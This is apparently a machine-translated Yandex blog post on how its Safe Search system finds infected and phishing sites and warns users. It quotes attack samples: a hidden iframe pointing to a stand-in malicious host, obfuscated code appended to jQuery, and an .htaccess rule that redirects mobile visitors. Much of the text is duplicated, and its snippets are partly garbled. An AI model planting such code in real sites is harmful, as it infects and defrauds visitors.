Device System Safe Search Yandex
In 2007, Yandex was confronted with a virus that massively replaced Yandex search results on users' computers. Instead of relevant results, non-query ads were substituted. It was necessary to urgently seek a solution to the problem. Studying it, we found out that the virus gets on user computers using drive-by-download attacks. Infected pages initiate hidden downloads of malicious files. Then, exploiting the vulnerabilities of the user system, the malware is installed on the computer.
Antivirus programs do not always protect users from this type of attack and new, just repackaged, malicious software, so users need extra protection. We realized that in order to overcome this phenomenon, we need to detect infection of sites, help webmasters remove malicious code, and also motivate them not to participate in partner networks through which drive-by-download-attack blocks are distributed.
')
At a certain point, it became clear that the problem is of an ecosystem nature, and that if you do not deal with viral and fraudulent monetization of sites, its scale will quickly grow. Ultimately, this will undermine the confidence of users in the Internet, will hinder its growth and even jeopardize its existence in its usual form. Therefore, six years ago we began to design and develop a system for detecting dangerous sites, and four years ago it was launched. Now we continue to actively develop our system, adapt it for new threats, apply methods that allow you to detect malicious code that has not yet entered the anti-virus signature databases.
It all starts with the fact that our anti-virus robot enters the page to be checked and downloads all the data that, when viewed, gets into the browsers of ordinary users. Then the downloaded data is analyzed.
The behavioral analyzer tracks everything that happens when you view the page, including the browser, plug-ins (in particular, designed to execute Java-code and view PDF-files ) and the operating system as a whole. Observation results are compared with patterns of malicious behavior. The main advantage of the behavioral approach is the ability to detect malicious code whose signatures have not yet managed to get into the anti-virus database. It is this code that is often used by attackers when infecting large sites.
In addition, we observe if the page does not access the servers that are known as distributors of malicious code. This is how our black list works.
As an additional means of protection, we carry out a signature analysis of the search database using the Sophos antivirus scanner. We have mutually beneficial cooperation with this company: they understand the importance of the data we provide, respond quickly to our messages and train their system.
Our biological analyzers, virus analysts, determine the patterns of malware behavior. They conduct research on modern samples of malicious code, identify common signs and patterns in their work. Research results are used to improve behavioral detectors, and blacklist extensions, and are sent as examples of malicious code to Sophos.
In total, the system performs more than 20 million checks per day, as a result of which about 5,000 new infections are detected and more than 80,000 sites are confirmed to be infected. The more popular the site and the greater the risk of infection, the more often it is checked by our system.
The number of attacks on Internet users is still held by drive-by-download attacks. In the course of their implementation, attackers embed malicious code into legitimate web applications, which in addition to the content of the site, specially crafted web pages are loaded, which, using vulnerabilities in browsers and other software, secretly install malicious programs for users.
Such code may look, for example, as follows:
Usually the link in the iframe is obfuscated code. Thus, intruders try to prevent signature detection.
Obfuscation also applies when adding malicious code to the end of a legal library, for example, jQuery. To protect yourself from attacks of this kind, you can not keep the JS-library on your server, and take them from reliable sources. Yandex has its own hosting of popular JavaScript-libraries, which everyone can use.
With the spread of mobile devices, attacks on them are becoming increasingly popular. The most frequent scenario in this case is the following: the owner of the site in order to monetize mobile traffic enters an affiliate program, and often without knowing it, places a mobile redirect on its page. When viewed through a regular browser, the site behaves in a completely normal manner. But it is necessary to enter it from a mobile device, as it will redirect to another page, where the user will be prompted to install any application, for example, an “updated” version of the browser. At the same time, depending on the User Agent, the sites offer to download files with different extensions corresponding to the platform. Further, the user will be prompted to send a paid SMS, or the installed application itself will send such messages without the user's knowledge. If the application succeeds in gaining access to the user's contact list, it can be used to send spam.
To implement such an attack, it suffices to modify the .htaccess file of the web server by adding redirection conditions to it:
Our detection tools allow you to track such sites. They do not go to the mobile issue pages, and in our browser for Android and iOS, warnings are displayed before entering the sites with redirects.
In addition to the already mentioned attacks like drive-by-download, and redirects to pages with downloading malware, the site can be redirected to a phishing page that completely copies its interface. Such sites usually require the input of personal information of the user, which is used for fraudulent purposes, as well as for sending spam.
Phishing attacks include those cases where a banner is placed on the site, offering to download a new version of the browser. When trying to download the installation file, the site offers to enter the phone number to which the confirmation code will be sent. Allegedly, you prove that you are not a robot. But in fact you will be subscribed to a paid service. Often, such banners are the result of hacking a site or participating in unscrupulous affiliate programs.
Information about the malicious sites we have found falls into the database. Currently, we know more than 200 thousand infected and phishing sites around the world, and of these, about 20% have domains in zones owned by Russia and the CIS countries.
When an infected site is detected, we send it to the webmaster letters to the standard addresses, as well as contacts specified in the registration information of the domain. This reduces the average time during which the site remains infected, approximately 1.6 times.
In the future, these data are used to alert users on the search page , in Yandex.Mail , Browser , as well as Opera and Mozilla Firefox with Yandex.Elements installed. On average, we show about 5 million warnings on the search results page and in services, as well as about 3 million in browsers, but during periods of mass infection of sites, this number can reach up to 18 million warnings per day.
Users can protect themselves with the help of the Yandex.DNS service. Our DNS server, available at 77.88.8.88, provides filtering of dangerous sites and demonstrates warnings when trying to access them.
Transitions on external links in Yandex. Mail are run through a special warning redirector. It compares the link with the URL mask of the infected sites and, if a match is found, redirects it to a special warning page. After that, the user himself can decide whether to go further.
I would like to especially note that the links themselves from the letters from Yandex. Mails are not transmitted anywhere and are not checked by the SafeSearch system, but are exclusively compared with URL URL masks already known to Yandex. Custom links in the Mail remain confidential and are never used either for indexing or for displaying contextual advertising.
For infected sites that are registered in Yandex.Webmaster , we show detailed information about the infection. If the webmaster himself cannot remove the infection and eliminate its causes, he may contact technical support for help.
To check the URL for harmfulness, you can connect to the Yandex Yandex Safe Browsing API , or use virustotal.com - it uses Yandex Safe Search as one of the URL scanners.
We will be happy to receive samples of malware running on the web server side (for example, server backdoors, malicious Apache modules, infected CMS templates) at virus-samples@yandex-team.ru.
For cooperation please contact safesearch@yandex-team.ru .
A booth of Yandex Antivirus Technology & Safe Search will be located at YaC, where you can chat with our virus analysts, participate in a competition to detect malicious code, and learn more about the Safe Browsing API.
Antivirus programs do not always protect users from this type of attack and new, just repackaged, malicious software, so users need extra protection. We realized that in order to overcome this phenomenon, we need to detect infection of sites, help webmasters remove malicious code, and also motivate them not to participate in partner networks through which drive-by-download-attack blocks are distributed.
')
At a certain point, it became clear that the problem is of an ecosystem nature, and that if you do not deal with viral and fraudulent monetization of sites, its scale will quickly grow. Ultimately, this will undermine the confidence of users in the Internet, will hinder its growth and even jeopardize its existence in its usual form. Therefore, six years ago we began to design and develop a system for detecting dangerous sites, and four years ago it was launched. Now we continue to actively develop our system, adapt it for new threats, apply methods that allow you to detect malicious code that has not yet entered the anti-virus signature databases.
How does the anti-virus scan of Yandex
It all starts with the fact that our anti-virus robot enters the page to be checked and downloads all the data that, when viewed, gets into the browsers of ordinary users. Then the downloaded data is analyzed.
The behavioral analyzer tracks everything that happens when you view the page, including the browser, plug-ins (in particular, designed to execute Java-code and view PDF-files ) and the operating system as a whole. Observation results are compared with patterns of malicious behavior. The main advantage of the behavioral approach is the ability to detect malicious code whose signatures have not yet managed to get into the anti-virus database. It is this code that is often used by attackers when infecting large sites.
In addition, we observe if the page does not access the servers that are known as distributors of malicious code. This is how our black list works.
As an additional means of protection, we carry out a signature analysis of the search database using the Sophos antivirus scanner. We have mutually beneficial cooperation with this company: they understand the importance of the data we provide, respond quickly to our messages and train their system.
Our biological analyzers, virus analysts, determine the patterns of malware behavior. They conduct research on modern samples of malicious code, identify common signs and patterns in their work. Research results are used to improve behavioral detectors, and blacklist extensions, and are sent as examples of malicious code to Sophos.
In total, the system performs more than 20 million checks per day, as a result of which about 5,000 new infections are detected and more than 80,000 sites are confirmed to be infected. The more popular the site and the greater the risk of infection, the more often it is checked by our system.
What are we protecting from?
The number of attacks on Internet users is still held by drive-by-download attacks. In the course of their implementation, attackers embed malicious code into legitimate web applications, which in addition to the content of the site, specially crafted web pages are loaded, which, using vulnerabilities in browsers and other software, secretly install malicious programs for users.
Such code may look, for example, as follows:
<iframe src="http://evilsite.ws/wp-content/plugins/wordpress-importer/cash.php" width="13" height="14" frameborder="0" style="visibility: hidden; display: none"></iframe> Usually the link in the iframe is obfuscated code. Thus, intruders try to prevent signature detection.
Obfuscation also applies when adding malicious code to the end of a legal library, for example, jQuery. To protect yourself from attacks of this kind, you can not keep the JS-library on your server, and take them from reliable sources. Yandex has its own hosting of popular JavaScript-libraries, which everyone can use.
/*! jQuery v1.8.2 jquery.com | jquery.org/licence */ (function(a,b){function G(a){var b=F[a]={};return p.each(a.split(s),function(a,c){b{c}=!0}),b} /* jQuery code cutted */ &&define("jquery",[],function(){return})})(window); //end of jquery code var domain = 'http://somedomain.ru'; v = "v" + "al"; if (020 === 0x10 && window.document) { try { document.body++ } catch(gdsgsdg) { asd = 0; try { d = document.createElement("div"); d.innerHTML.a = "asd"; }catch (agdsg) { asd = 1; } if (!asd) { w = {a:window},a; v = "e".contact(v); } } } e = w["" + v]; With the spread of mobile devices, attacks on them are becoming increasingly popular. The most frequent scenario in this case is the following: the owner of the site in order to monetize mobile traffic enters an affiliate program, and often without knowing it, places a mobile redirect on its page. When viewed through a regular browser, the site behaves in a completely normal manner. But it is necessary to enter it from a mobile device, as it will redirect to another page, where the user will be prompted to install any application, for example, an “updated” version of the browser. At the same time, depending on the User Agent, the sites offer to download files with different extensions corresponding to the platform. Further, the user will be prompted to send a paid SMS, or the installed application itself will send such messages without the user's knowledge. If the application succeeds in gaining access to the user's contact list, it can be used to send spam.
To implement such an attack, it suffices to modify the .htaccess file of the web server by adding redirection conditions to it:
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|bada|windows\ phone) [NC] RewriteRule (.*) http://<_ > [L,R=302] Our detection tools allow you to track such sites. They do not go to the mobile issue pages, and in our browser for Android and iOS, warnings are displayed before entering the sites with redirects.
In addition to the already mentioned attacks like drive-by-download, and redirects to pages with downloading malware, the site can be redirected to a phishing page that completely copies its interface. Such sites usually require the input of personal information of the user, which is used for fraudulent purposes, as well as for sending spam.
Phishing attacks include those cases where a banner is placed on the site, offering to download a new version of the browser. When trying to download the installation file, the site offers to enter the phone number to which the confirmation code will be sent. Allegedly, you prove that you are not a robot. But in fact you will be subscribed to a paid service. Often, such banners are the result of hacking a site or participating in unscrupulous affiliate programs.
Hazard warnings
Information about the malicious sites we have found falls into the database. Currently, we know more than 200 thousand infected and phishing sites around the world, and of these, about 20% have domains in zones owned by Russia and the CIS countries.
When an infected site is detected, we send it to the webmaster letters to the standard addresses, as well as contacts specified in the registration information of the domain. This reduces the average time during which the site remains infected, approximately 1.6 times.
In the future, these data are used to alert users on the search page , in Yandex.Mail , Browser , as well as Opera and Mozilla Firefox with Yandex.Elements installed. On average, we show about 5 million warnings on the search results page and in services, as well as about 3 million in browsers, but during periods of mass infection of sites, this number can reach up to 18 million warnings per day.
Users can protect themselves with the help of the Yandex.DNS service. Our DNS server, available at 77.88.8.88, provides filtering of dangerous sites and demonstrates warnings when trying to access them.
Transitions on external links in Yandex. Mail are run through a special warning redirector. It compares the link with the URL mask of the infected sites and, if a match is found, redirects it to a special warning page. After that, the user himself can decide whether to go further.
I would like to especially note that the links themselves from the letters from Yandex. Mails are not transmitted anywhere and are not checked by the SafeSearch system, but are exclusively compared with URL URL masks already known to Yandex. Custom links in the Mail remain confidential and are never used either for indexing or for displaying contextual advertising.
For infected sites that are registered in Yandex.Webmaster , we show detailed information about the infection. If the webmaster himself cannot remove the infection and eliminate its causes, he may contact technical support for help.
To check the URL for harmfulness, you can connect to the Yandex Yandex Safe Browsing API , or use virustotal.com - it uses Yandex Safe Search as one of the URL scanners.
We will be happy to receive samples of malware running on the web server side (for example, server backdoors, malicious Apache modules, infected CMS templates) at virus-samples@yandex-team.ru.
For cooperation please contact safesearch@yandex-team.ru .
A booth of Yandex Antivirus Technology & Safe Search will be located at YaC, where you can chat with our virus analysts, participate in a competition to detect malicious code, and learn more about the Safe Browsing API.
Source: https://habr.com/ru/post/195408/
All Articles